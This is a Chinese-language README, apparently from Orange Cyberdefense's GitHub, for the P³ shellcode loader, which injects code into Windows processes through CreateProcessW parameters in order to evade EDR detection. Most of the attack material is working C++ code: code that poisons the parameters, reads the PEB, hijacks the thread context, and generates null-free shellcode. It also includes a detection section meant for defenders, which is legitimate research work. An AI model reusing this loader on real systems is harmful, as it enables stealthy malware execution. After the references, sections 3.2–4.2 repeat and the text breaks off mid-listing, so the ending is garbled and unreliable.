Orange-Cyberdefense/p3-loader
GitHub: Orange-Cyberdefense/p3-loader
一款利用 Windows 进程参数结构进行 Shellcode 注入的加载器,通过绕过常见 EDR 检测来实现远程进程代码执行。
Stars: 176 | Forks: 23
# P³-Shellcode 加载器 - 进程参数投毒
作者:Max Hirschberger & Ogulcan Ugur
## 目录
1. [引言](#1-introduction)
2. [典型进程注入及相关系统 API](#2-typical-process-injection-and-involved-system-apis)
3. [所需 Windows 内部机制的技术基础](#3-technical-foundation-of-required-windows-internals)
- 3.1 [进程创建 API 及启动参数](#31-process-creation-api-and-startup-parameters)
- 3.2 [进程环境块 (PEB)](#32-the-process-environment-block-peb)
4. [进程参数投毒 (P³)](#4-process-parameter-poisoning-p3)
- 4.1 [使用投毒参数启动进程](#41-starting-a-process-with-a-poisoned-parameter)
- 4.2 [在新进程中定位注入的数据](#42-locating-the-injected-data-in-the-new-process)
- 4.3 [执行注入的代码](#43-executing-the-injected-code)
- 4.4 [已实现的 Payload 注入](#44-implemented-payload-injections)
5. [在字符串中传递任意 Shellcode](#5-passing-arbitrary-shellcode-in-a-string)
- 5.1 [Shellcode 生成器使用的底层辅助方法](#51-lower-level-helper-methods-used-by-the-shellcode-generator)
- 5.2 [高层操作的实现](#52-implementation-of-higher-level-operations)
6. [该技术在规避检测方面的优势](#6-advantages-of-detection-avoidance-by-this-technique)
7. [检测方法](#7-detection-approach)
8. [总结](#8-conclusion)
9. [参考文献](#9-references)
## 1. 引言
P³-Shellcode 加载器实现了一种代码注入技术,该技术利用进程参数结构(进程参数投毒)作为执行和暂存位置,将 shellcode 注入到远程进程中,而不会触发常见的检测机制。
安全研究员 [modexp](https://modexp.wordpress.com/category/windows/) 描述过类似的概念,他演示了传递给 CreateProcess-API 的参数可用于此目的 [1]。
## 2. 典型进程注入及相关系统 API
攻击者希望使其活动看起来不那么可疑。通过进程注入,攻击者能够从另一个更受信任或被预期执行特定活动的进程中执行其活动,从而降低嫌疑。
以下是向另一个进程注入代码的典型步骤:
1. 攻击者搜索并打开目标进程,或启动一个新进程(通过 `OpenProcess` / `NtOpenProcess` 或 `CreateProcess` / `NtCreateProcess`)。
2. 在目标进程中为恶意代码分配内存(通过 `VirtualAllocEx` 或 `NtAllocateVirtualMemory`)。
3. 将恶意代码写入新分配的内存中(通过 `WriteProcessMemory` / `NtWriteVirtualMemory`)。
4. 配置内存访问保护以允许执行恶意代码(通过 `VirtualProtectEx` / `NtProtectVirtualMemory`)。
5. 在目标进程中启动一个新线程来运行恶意代码(通过 `CreateRemoteThread` 或 `NtCreateThreadEx`)。
其他的注入技术包括但不限于以下几种:
- **线程劫持:** 不创建新线程,而是重定向现有线程(通过 `NtSetContextThread`)
- **早期绑定 APC 注入:** 利用异步过程调用 (APC) 来重定向现有线程的执行(通过 `NtQueueApcThread`)
- **Dirty Vanity:** 滥用实现了进程分支的 Windows API `RtlCreateProcessReflection`。
在我们的测试中,我们观察到大多数 EDR 专注于特定的遥测数据来检测进程注入。EDR 主要监控 `WriteProcessMemory` 和 `VirtualAllocEx` 的使用,以及它们底层的内核系统调用 `NtWriteVirtualMemory`、`NtAllocateVirtualMemory` 和 `NtAllocateVirtualMemoryEx`。
## 3. 所需 Windows 内部机制的技术基础
### 3.1 进程创建 API 及启动参数
Windows 提供了 API 函数 `CreateProcessW` 来创建新进程,如代码清单 1 所示。它的前三个参数 `lpCommandLine`、`lpEnvironment` 和 `lpStartupInfo` 与所描述的注入技术相关,因为它们用于向新进程传递数据。
```
BOOL CreateProcessW(
[in, optional] LPCWSTR lpApplicationName,
[in, out, optional] LPWSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCWSTR lpCurrentDirectory,
[in] LPSTARTUPINFOW lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);
```
*代码清单 1:CreateProcessW Windows API 函数的定义*
`lpCommandLine` 参数指定了新进程的命令行。它最多限制为 32,767 个 Unicode 字符,包括 Unicode null 终止符。对于 Unicode 变体,必须提供一个该函数可写入的字符串。如果提供的是常量字符串,API 函数的任何写入尝试都会导致内存访问违规。如果该值为 `NULL`,进程的命令行将从 `lpApplicationName` 参数中获取。如果 `lpApplicationName` 为 `NULL`,则必须在 `lpCommandLine` 字段中提供它,并且限制为 `MAX_PATH` 个字符。
`lpEnvironment` 参数向进程提供环境变量列表。如果该值为 `NULL`,则使用创建进程的环境。环境变量列表由格式为 `NAME=VALUE` 的连续 null 终止字符串组成,并在末尾附带另一个 null 终止符。
`lpStartupInfo` 参数是一个如代码清单 2 所示的结构,包含窗口站、桌面、标准输入和输出句柄等字段,以及配置新进程主窗口的字段。根据微软的文档,`lpReserved` 字段保留供内部使用,没有进一步的文档说明。通过 WinDbg 调试器进行分析,可以将此参数与新进程中 `UNICODE_STRING` 类型的 `ShellInfo` 变量关联起来。
```
typedef struct _STARTUPINFOW {
DWORD cb;
LPWSTR lpReserved; // Copied to ShellInfo (UNICODE_STRING)
LPWSTR lpDesktop;
LPWSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
// (...) additional fields
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
// (...) additional fields
} STARTUPINFOW, *LPSTARTUPINFOW;
```
*代码清单 2:STARTUPINFOW 数据结构的布局*
### 3.2 进程环境块 (PEB)
在创建新进程时,所有提供的进程参数都会被写入进程环境块 (PEB)。PEB 是一种存在于所有进程中且每个进程独有的数据结构。可以在 `RTL_USER_PROCESS_PARAMETERS` 类型的 `ProcessParameters` 成员中访问这些参数。除了进程参数外,该结构还包含进一步的运行时信息,例如已加载模块的列表。PEB 的结构以及 `RTL_USER_PROCESS_PARAMETERS` 中的相关进程参数如代码清单 3 和代码清单 4 所示。
```
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
// (...) additional fields
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters; // Poisonable
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
// (...) additional fields
} PEB, *PPEB;
```
*代码清单 3:PEB 数据结构的布局*
```
typedef struct _RTL_USER_PROCESS_PARAMETERS
{
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
// (...) additional fields
CURDIR CurrentDirectory;
UNICODE_STRING DllPath; // Potential candidate for transfer
UNICODE_STRING ImagePathName; // Potential candidate for transfer
UNICODE_STRING CommandLine; // Primary candidate for transfer
PVOID Environment; // Primary candidate for transfer
// (...) additional fields
UNICODE_STRING ShellInfo; // Primary candidate for transfer
// (lpReserved in STARTUPINFO)
UNICODE_STRING RuntimeData; // Potential candidate for transfer
// (...) additional fields
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
```
*代码清单 4:RTL_USER_PROCESS_PARAMETERS 数据结构的布局*
图 1 显示了 `STARTUPINFOW` 结构中 `lpReserved` 字段提供的带有投毒值的 `ShellInfo` 参数。此外,图 2 显示了 System Informer 工具中受控的命令行。
*图 1:被投毒的 ShellInfo 参数*
*图 2:被投毒的命令行*
## 4. 进程参数投毒 (P³)
### 4.1 使用投毒参数启动进程
由于有多个参数可用于复制恶意代码,代码清单 5 中的包装函数在创建进程时,会将投毒参数提供给选定的进程参数。在运行实现的注入器时,可以如图 3 所示进行选择。此外,可以为将在 `lpApplication` 中使用的目标应用程序提供任何值,用户提示如图 4 所示。
```
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[~] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[~] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
```
*代码清单 5:CreateProcessWithPoison 的实现*
此函数实现了三种不同的参数选择:
1. **ShellInfo 注入:** 将投毒数据放置在 `lpStartupInfo` 参数的 `lpReserved` 字段中,该字段将被复制到 PEB 中的 `ShellInfo` 变量
2. **环境注入:** 使用 `CREATE_UNICODE_ENVIRONMENT` 标志将投毒数据放置在 `lpEnvironment` 参数中
3. **命令行注入:** 将投毒数据放置在 `CreateProcessW` 的 `lpCommandLine` 参数中
*图 3:选择可投毒的参数*
*图 4:选择目标应用程序可执行文件*
### 4.2 在新进程中定位注入的数据
成功创建进程后,可以通过 PEB 结构找到注入的数据。要定位新进程中的投毒数据,需要以下三个步骤。
首先,通过调用 `NtQueryInformationProcess` 确定 PEB 结构的起始地址。当使用信息类 `ProcessBasicInformation` 调用时,`NtQueryInformationProcess` 会检索 `PROCESS_BASIC_INFORMATION` 数据结构。而 `PROCESS_BASIC_INFORMATION` 在 `PebBaseAddress` 字段中包含 PEB 的地址。此步骤如代码清单 6 所示。
```
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
```
*代码清单 6:定位注入数据的第一步*
在第二步中,通过使用第一步中检索到的结构起始地址调用 `NtReadVirtualMemoryEx` 来读取 PEB 结构。第二步的实现如代码清单 7 所示。
```
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
```
*代码清单 7:定位注入数据的第二步*
读取 PEB 后,`ProcessParameters` 字段包含了新进程中 `RTL_USER_PROCESS_PARAMETERS` 结构的起始地址。在第三步中,也会从新进程中读取该结构。指向注入数据的指针就位于此结构内。第三步如代码清单 8 所示。
```
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of target process
pebLocal.ProcessParameters, // ProcessParameters address in target
¶meters, // Output buffer / Local copy
sizeof(parameters), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
```
*代码清单 8:定位注入数据的第三步*
此方法仅使用内存读取 API,而不使用 EDR 重点关注的写入或分配 API。但是,参数带来了一定的限制。由于这些参数是 null 终止字符串,因此只能完整传递不包含 null 终止符的 shellcode。第 5 节给出了解决此限制的方案。
### 4.3 执行注入的代码
传递代码后,仍需将进程的执行流引导至该代码。此外,必须调整注入数据的内存保护,因为参数并未放置在标记为可执行的区域中。
要更改保护属性,使用 Windows API `NtProtectVirtualMemory` 将保护属性从仅可读和可写更改为仅可读和可执行。
要将代码执行重定向到 shellcode,存在以下三种方法:
- **`CreateRemoteThread` / `NtCreateThreadEx`:** 创建一个从 shellcode 开始的新线程
- **`QueueUserAPC` / `NtQueueApcThread`:** 在现有线程上排队一个 APC,最终将其重定向到 shellcode
- **线程上下文操纵:** 修改现有线程的指令指针,将其执行移至 shellcode
在该技术的初步实现期间,评估了使用 Dirty Vanity 方法来执行代码。然而,几种 EDR 对此方法发出了警报。
深入研究 `RtlCreateProcessReflection` 的实现后发现,它调用了 `NtWriteVirtualMemory` 和 `NtCreateThreadEx`。本质上,它在目标进程中创建一个线程以执行 `ntdll.dll` 内的一个函数。该函数既通过调用 `RtlCloneUserProcess` 创建了分支进程,又对分支进程执行了内存写入。
由于 `NtWriteVirtualMemory` 是 EDR 使用的主要指标之一,Dirty Vanity 方法只会引起不必要的怀疑。
取而代之的是,使用了主线程上下文操纵,因为它相比于 Dirty Vanity 具有以下优势:
- **线程句柄的可用性:** `CreateProcessW` 已经在 `PROCESS_INFORMATION` 结构中为主线程提供了有效的句柄。句柄是内核提供的一种抽象引用对象,用于与进程、线程和文件等系统资源进行交互。句柄本质上是进程特定句柄表中的索引,将每个句柄映射到内核中的对象,并具有对该对象的关联访问级别。
- **避免可疑的 API 调用:** 从不使用 `NtWriteVirtualMemory`、`VirtualAllocEx` 和 `CreateRemoteThread`,仅调用 `NtSetContextThread`。
线程的上下文是所有处理器寄存器的状态。因此,可以通过操纵线程的上下文(即更改指令指针寄存器)来重定向线程的执行流。通常,线程上下文的操纵分为以下几个步骤:
1. **线程挂起:** 通过调用 `SuspendThread` 或以挂起状态创建线程,将目标线程置于挂起状态
2. **读取上下文:** 通过 `GetThreadContext` 将当前上下文读取到 `CONTEXT` 数据结构中
3. **修改上下文:** 对上下文进行所需的更改,例如更改指令指针寄存器 `RIP`
4. **应用上下文:** 通过调用 `SetThreadContext` 将修改后的上下文写入线程
5. **恢复线程:** 调用 `ResumeThread` 以在新的 `RIP` 值处恢复线程的执行
无需先挂起线程即可更改其上下文。因此,无需调用可能会被 EDR 监控以用于进程注入的 `SuspendThread` 和 `ResumeThread`。此外,如果稍后不需要恢复先前的执行,也可以跳过调用 `GetThreadContext`。最终的实现如代码清单 9 所示。
```
NTSTATUS ThreadSetExec(PHANDLE hThread, PVOID shellcode)
{
CONTEXT ctx;
ctx = { 0 };
ctx.ContextFlags = CONTEXT_CONTROL; // CONTEXT_CONTROL flag is enough
WinApiResolver winapi = WinApiResolver::GetInstance();
NTSTATUS status = 0;
status = winapi.NtGetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtGetContextThread failed with Error Code %08x\n", status);
return status;
}
ctx.Rip = (DWORD64)shellcode;
status = winapi.NtSetContextThread(*hThread, &ctx);
if (!NT_SUCCESS(status)) {
SetColor(FOREGROUND_RED);
printf("\n[-] NtSetContextThread failed with Error Code %08x\n", status);
return status;
}
return 0;
}
```
*代码清单 9:ThreadSetExec 中线程上下文的操纵*
### 4.4 已实现的 Payload 注入
我们对这种注入技术的实现包含如图 5 所示的四种 payload 选项。
1. 第一个选项是一个简单的演示,它会弹出一个窗口,如图 5 所示。此选项不需要注入更多的 shellcode 或可执行文件。
2. 选项二采用 shellcode 的十六进制表示形式并将其注入。如果 shellcode 包含 null 字节,则使用第 5 节中描述的方法进行注入。
3. 第三个选项接受 DLL 文件的路径,然后将其提供给目标内的 `LoadLibraryA`。
4. 最后,选项四从 HTTP(S) URL 加载 shellcode,并处理了 null 字节的限制。
*图 5:选择注入的 Shellcode*
*图 6:由 Shellcode 创建的消息框*
## 5. 在字符串中传递任意 Shellcode
无法在参数中传递任何任意数据。这是因为只会复制到 null 终止符为止的数据。为了克服这个限制,我们构建了一个不发出 null 终止符的 shellcode 生成器。
该 shellcode 生成器可以创建调用带有任意参数的 `MessageBoxA`、`LoadLibraryA`、`NtTerminateProcess` 或 `NtSuspendThread` 的 shellcode。此外,它还可以生成解码任意第二阶段 shellcode 并跳转到该 shellcode 的 shellcode。
它在 `ShellCodeWriter` C++ 类中实现,该类具有私有的辅助方法和用于公开功能的公共方法。实现细节将在下文进行说明。
### 5.1 Shellcode 生成器使用的底层辅助方法
`Xor` 被用作允许 shellcode 生成任何数据(包括零字节)的基元。此原语在采用两个 64 位值的辅助方法 `SetRAXXOR` 中实现。它发出对给定的 64 位值执行 xor 操作并将结果保存在 `RAX` 寄存器中的 shellcode。
另一个辅助方法 `SetRAX` 创建这两个 64 位值,它们进行 xor 运算后会得出给定的值。它还确保这两个 64 位值不包含零字节。本质上,`SetRAX` 发出将 `RAX` 寄存器设置为任意 64 位值的 shellcode。
`SetRAXXOR` 和 `SetRAX` 均如代码清单 10 所示。此外,三个 `SetRAX` 调用示例所产生的机器代码如代码清单 11 所示。
```
void ShellCodeWriter::SetRAXXOR(uint64_t xor_a_value, uint64_t xor_b_value)
{
const char gadget[] =
"\x48\xB8\xB0\xC5\x2F\x6D\xFB\x7F\x01\x01" // mov rax, XOR_A
"\x49\xBF\x01\x01\x01\x01\x01\x01\x01\x01" // mov r15, XOR_B
"\x4C\x31\xF8"; // xor rax, r15
uint64_t* xor_a = (uint64_t*)(gadget + 2);
uint64_t* xor_b = (uint64_t*)(gadget + 12);
*xor_a = xor_a_value;
*xor_b = xor_b_value;
AppendShellCode(gadget, 23);
}
void ShellCodeWriter::SetRAX(uint64_t value)
{
if (value == 0)
{
AppendShellCode("\x48\x31\xC0", 3); // xor rax, rax
return;
}
uint64_t xor_a = 0, xor_b = 0x0101010101010101;
// Adjust the xor key (xor_b) to ensure xor_a will have no zero bytes
for (int i = 0; i < 8; i++)
{
if (((uint8_t*)(&value))[i] == 0x01)
{
((uint8_t*)(&xor_b))[i] = 0x02;
}
}
xor_a = value ^ xor_b;
SetRAXXOR(xor_a, xor_b);
}
```
*代码清单 10:SetRAXXOR 和 SetRAX 的实现*
```
; SetRAX(0)
xor rax, rax
; SetRAX(0xDEADBEEF)
mov rax, 0x01010101DFACBFEE
mov r15, 0x0101010101010101
xor rax, r15
; SetRAX(1)
mov rax, 0x0101010101010103
mov r15, 0x0101010101010102
xor rax, r15
```
*代码清单 11:SetRAX 发出的代码示例*
`SetRAX` 是辅助方法 `PushValue`、`PushBuffer`、`SetArgRegister` 和 `SetArgRegisterStackRelative` 的基础。`PushValue` 调用 `SetRAX` 并在其后跟随一条 `push RAX` 指令,从而允许将任意值压入堆栈。`PushBuffer` 使用 `PushValue` 在堆栈上写入任意字节数组;为此,它将数据拆分为 64 位值并以相反的顺序压栈。必须颠倒顺序,因为堆栈指针在每次压栈后都会递减。Shellcode 生成器通过 `m_total_consumed_stack_bytes` 变量跟踪已压入了多少字节。此变量用于 `FreeStack` 辅助方法中以清理堆栈,将堆栈指针恢复到其初始值。
在 Windows 64 位 x86 应用程序二进制接口中,调用函数时使用寄存器 `RCX`、`RDX`、`R8` 和 `R9` 来传递前四个参数。附加参数在 32 字节的影子空间之后被压入堆栈。影子空间是为被调用函数预留的,用于保存前四个参数寄存器。`SetArgRegister` 和 `SetArgRegisterStackRelative` 用于设置这四个参数寄存器之一。`SetArgRegister` 将给定的寄存器设置为任意常量值。`SetArgRegisterStackRelative` 生成的代码将堆栈指针加上常量偏移量写入相应的参数寄存器。任何附加的函数参数都可以使用 `PushValue` 辅助方法进行压栈。
辅助方法 `Call` 发出的代码首先将堆栈指针对齐到 16 字节,然后执行对给定地址的调用,最后恢复其最初所做的任何对齐更改。对于利用 XMM 浮点寄存器操作的函数,需要 16 字节对齐的堆栈指针以防止崩溃。当调用带有在堆栈上传递的参数的函数时,必须在调用此辅助方法之前确保对齐正确。否则,参数最终会处于错误的堆栈偏移量处。
### 5.2 高层操作的实现
最简单的操作是调用 `NtTerminateProcess` 或 `NtSuspendThread`。由于它们的相似性,将仅介绍 `NtTerminateProcess`,如代码清单 12 所示。`NtTerminateProcess` 接受两个参数并遵循 x64 调用约定。首先,为这两个参数调用辅助方法 `SetArgRegister`,用提供的值初始化它们。然后调用该 API 函数。
由于 shellcode 是在同一台机器上生成的,因此函数的地址是在生成时解析的,而不是在 shellcode 内部解析的。解析 API 函数由 `WinApiResolver` 类处理。最后,`Call` 辅助方法生成调用指令和堆栈对齐代码。
```
void ShellCodeWriter::CallTerminateProcess
(HANDLE ProcessHandle, NTSTATUS ExitStatus)
{
SetArgRegister(0, (uint64_t)ProcessHandle);
SetArgRegister(1, ExitStatus);
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.NtTerminateProcess);
}
```
*代码清单 12:ShellCodeWriter::CallTerminateProcess 的实现*
接受指针值的函数(例如 `LoadLibraryA` 和 `MessageBoxA`)不能以相同的方式使用。这是因为需要有效的内存地址,而在生成 shellcode 时这是未知的。因此,使用辅助方法 `SetArgRegisterStackRelative` 将参数设置为堆栈上的地址。在代码清单 13 中,模块参数字符串被写入堆栈,并且第一个参数寄存器被设置为指向堆栈上模块字符串的开头。此外,该函数将堆栈指针移动了 32 字节,以考虑影子空间。如果没有这个操作,被调用的函数将覆盖模块字符串。
```
void ShellCodeWriter::CallLoadLibraryA(LPCSTR module)
{
PushBuffer(module, strlen(module) + 1);
int pos_buf = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// Populate arg registers
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_buf));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.LoadLibraryA);
}
```
*代码清单 13:ShellCodeWriter::CallLoadLibraryA 的实现*
最后,`LoadAndCallShellCode` 接受可以包含零字节的任意 shellcode 并执行它。其实现如代码清单 14 和 15 所示,分为以下五个操作:
1. 通过 `PushBuffer` 将任意 shellcode 写入堆栈。随后,分配影子空间以保护 shellcode 免遭覆盖。
2. 接下来,对 `VirtualAlloc` 进行简单调用,使用在生成时已知的参数。此 API 调用分配受读写保护且能容纳该 shellcode 的内存。
3. 之后,从 `VirtualAlloc` 返回的内存地址被保存到 `R12` 和 `R10` 这两个寄存器中。然后将 `R11` 初始化为 shellcode 的大小,并将 `RCX` 设置为指向 shellcode 的开头。在设置了寄存器 `R10`、`R11` 和 `RCX` 之后,紧接着是六条执行内存拷贝的指令,将 shellcode 复制到新分配的内存区域。
4. 尚无法跳转到 shellcode,因为内存区域受读写保护。分配一个可读写且可执行的区域是可能的,但这更有可能被视为可疑。因此,调用 `VirtualProtect` 将保护更改为可读和可执行,但不可写。
5. 最后,在确保堆栈正确对齐之后,跳转到 shellcode。
```
void ShellCodeWriter::LoadAndCallShellCode(const std::vector& shellcode)
{
// 1. Pushes the shellcode to the stack
PushBuffer(shellcode.data(), shellcode.size());
int pos_sc = m_total_consumed_stack_bytes;
// Shadow Space
AppendShellCode("\x48\x83\xEC\x20", 4); // sub rsp, 32
m_total_consumed_stack_bytes += 32;
// 2. Allocates READWRITE memory
CallVirtualAlloc(NULL, shellcode.size(), MEM_COMMIT, PAGE_READWRITE);
{ // 3. Copies shellcode from the stack to the newly allocated area
AppendShellCode("\x49\x89\xC4", 3); // mov r12, rax ; shellcode_dest
AppendShellCode("\x49\x89\xC2", 3); // mov r10, rax ; shellcode_dest
SetRAX(shellcode.size());
AppendShellCode("\x49\x89\xC3", 3); // mov r11, rax ; size
SetArgRegisterStackRelative(0, (m_total_consumed_stack_bytes - pos_sc));
// r10: Shellcode dest ptr
// r11: size
// rcx: Shellcode src ptr
const char* copy_sc =
"\x8A\x01" // mov al, byte ptr ds:[rcx]
"\x41\x88\x02" // mov byte ptr ds:[r10], al
"\x48\xff\xc1" // inc rcx
"\x49\xff\xc2" // inc r10
"\x49\xff\xcb" // dec r11
"\x75\xf0"; // jnz -16
AppendShellCode(copy_sc, 16);
}
// (...)
```
*代码清单 14:ShellCodeWriter::LoadAndCallShellCode 的实现(步骤 1–3)*
```
// (...)
{ // 4. Changes protection of the newly allocated area to EXECUTE_READ
// VirtualProtect(shellcode_dest, size, PAGE_EXECUTE_READ, shellcode_src);
AppendShellCode("\x4C\x89\xE1", 3); // mov rcx, r12 ; lpAddress
SetArgRegister(1, shellcode.size());
SetArgRegister(2, PAGE_EXECUTE_READ); // flNewProtect
SetArgRegisterStackRelative(3, (m_total_consumed_stack_bytes - pos_sc));
WinApiResolver winapi = WinApiResolver::GetInstance();
Call((uint64_t)winapi.VirtualProtect);
}
if (m_total_consumed_stack_bytes % 16)
{
AppendShellCode("\x58\x50\x50", 3); // pop rax; push rax; push rax;
m_total_consumed_stack_bytes += 8;
}
// 5. Jumps to the newly allocated area
AppendShellCode("\x41\xff\xe4", 3); // jmp r12
}
```
*代码清单 15:ShellCodeWriter::LoadAndCallShellCode 的实现(步骤 4–5)*
## 6. 该技术在规避检测方面的优势
该技术的一个主要优势是,不会以挂起状态创建进程,并且在执行期间不会挂起任何线程或进程。创建挂起的进程或重复调用 `SuspendThread` 是 EDR 用于检测进程镂空、进程注入及类似攻击的已知指标。
此外,通过创建目标进程,主线程的句柄已经是可用的,并且具有更改其上下文所需的访问权限。
| 方面 | 经典注入 | 进程参数投毒 |
|---|---|---|
| 内存分配 | 需要 `VirtualAllocEx` | 无显式分配 |
| 内存写入 | 需要 `WriteProcessMemory` | 通过 `CreateProcessW` 间接进行 |
| 重定向执行 | `CreateRemoteThread` 或 APC | `SetThreadContext` |
| 检测几率 | 高(存在许多可疑的 API) | 降低(良性的进程创建) |
| EDR 遥测 | 受到严密监控 | 可观测性降低 |
总体而言,该技术通过使用合法的进程创建和线程管理 API,留下了更小的指纹,从而引起的怀疑要少得多。
## 7. 检测方法
该技术会产生几个可疑的指标,可用于对其进行检测。
- `VirtualProtectEx` 使内存区域变为可执行,随后进行至少带有 `CONTEXT_CONTROL` 的 `SetThreadContext` 调用。值得注意的是,指令指针不需要直接指向此可执行区域,因为它可以转而指向一个小工具,然后由该小工具进行重定向。但是,指向该内存区域的指针很有可能会被写入到某个 CPU 寄存器中。
- `VirtualProtectEx` 将进程参数的页面变为可执行,无论是在自身进程还是在外部进程中。
- 进程的创建,其中三个被滥用的参数之一引起了怀疑。例如,如果命令行的熵接近 shellcode 的熵,或者远离正常命令行值的熵。此外,提供的参数长度过长或其中存在许多不寻常的字符。但是,仅依靠这一点很可能容易出现误报。
- 读取 PEB 具有指针指向的远程进程的进程参数结构。
## 8. 总结
综上所述,攻击者可以通过新想法和微小的修改来绕过现代安全解决方案,无论是开发新技术还是以新颖的方式重新应用旧技术。
因此,持续开发新的检测规则且不仅仅依赖现有的解决方案非常重要。
## 9. 参考文献
[1] https://web.archive.org/web/20241211190548/https://modexp.wordpress.com/2020/07/31/wpi-cmdline-envar/
*图 1:被投毒的 ShellInfo 参数*
*图 2:被投毒的命令行*
## 4. 进程参数投毒 (P³)
### 4.1 使用投毒参数启动进程
由于有多个参数可用于复制恶意代码,代码清单 5 中的包装函数在创建进程时,会将投毒参数提供给选定的进程参数。在运行实现的注入器时,可以如图 3 所示进行选择。此外,可以为将在 `lpApplication` 中使用的目标应用程序提供任何值,用户提示如图 4 所示。
```
BOOL CreateProcessWithPoison
(int choice, PWCHAR lpApplication,
PWCHAR poisonParameter, PPROCESS_INFORMATION pi)
{
STARTUPINFOW si = { 0 };
switch (choice) {
case 1: // Injection via ShellInfo (lpReserved)
printf("[~] Writing into ShellInfo...\n");
si.lpReserved = poisonParameter;
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
0, NULL, NULL, &si, pi);
case 2: // Injection via Environment block
printf("[~] Writing into Environment block...\n");
return CreateProcessW(lpApplication, NULL, NULL, NULL, FALSE,
CREATE_UNICODE_ENVIRONMENT, poisonParameter,
NULL, &si, pi);
case 3: // Injection via CommandLine
printf("[~] Writing into CommandLine...\n");
return CreateProcessW(lpApplication, poisonParameter, NULL, NULL,
FALSE, 0, NULL, NULL, &si, pi);
default:
return FALSE;
}
}
```
*代码清单 5:CreateProcessWithPoison 的实现*
此函数实现了三种不同的参数选择:
1. **ShellInfo 注入:** 将投毒数据放置在 `lpStartupInfo` 参数的 `lpReserved` 字段中,该字段将被复制到 PEB 中的 `ShellInfo` 变量
2. **环境注入:** 使用 `CREATE_UNICODE_ENVIRONMENT` 标志将投毒数据放置在 `lpEnvironment` 参数中
3. **命令行注入:** 将投毒数据放置在 `CreateProcessW` 的 `lpCommandLine` 参数中
*图 3:选择可投毒的参数*
*图 4:选择目标应用程序可执行文件*
### 4.2 在新进程中定位注入的数据
成功创建进程后,可以通过 PEB 结构找到注入的数据。要定位新进程中的投毒数据,需要以下三个步骤。
首先,通过调用 `NtQueryInformationProcess` 确定 PEB 结构的起始地址。当使用信息类 `ProcessBasicInformation` 调用时,`NtQueryInformationProcess` 会检索 `PROCESS_BASIC_INFORMATION` 数据结构。而 `PROCESS_BASIC_INFORMATION` 在 `PebBaseAddress` 字段中包含 PEB 的地址。此步骤如代码清单 6 所示。
```
WinApiResolver winapi = WinApiResolver::GetInstance();
PROCESS_BASIC_INFORMATION pbi = { 0 };
ULONG retLen;
winapi.NtQueryInformationProcess(
pi.hProcess, // Handle of the new process
ProcessBasicInformation, // Query PROCESS_BASIC_INFORMATION
&pbi, // Destination
sizeof(pbi), // Size of the destination
&retLen // Resulting size of what was read
);
```
*代码清单 6:定位注入数据的第一步*
在第二步中,通过使用第一步中检索到的结构起始地址调用 `NtReadVirtualMemoryEx` 来读取 PEB 结构。第二步的实现如代码清单 7 所示。
```
PEB pebLocal = { 0 };
SIZE_T bytesRead;
NTSTATUS status = winapi.NtReadVirtualMemoryEx(
pi.hProcess, // Handle of the new process
pbi.PebBaseAddress, // Starting address of the PEB
&pebLocal, // Destination / Local copy of the PEB
sizeof(pebLocal), // Size to be read
&bytesRead, // Resulting size of what was read
0 // Reserved parameter
);
```
*代码清单 7:定位注入数据的第二步*
读取 PEB 后,`ProcessParameters` 字段包含了新进程中 `RTL_USER_PROCESS_PARAMETERS` 结构的起始地址。在第三步中,也会从新进程中读取该结构。指向注入数据的指针就位于此结构内。第三步如代码清单 8 所示。
```
RTL_USER_PROCESS_PARAMETERS parameters = { 0 };
status = winapi.NtReadVirtualMemoryEx(
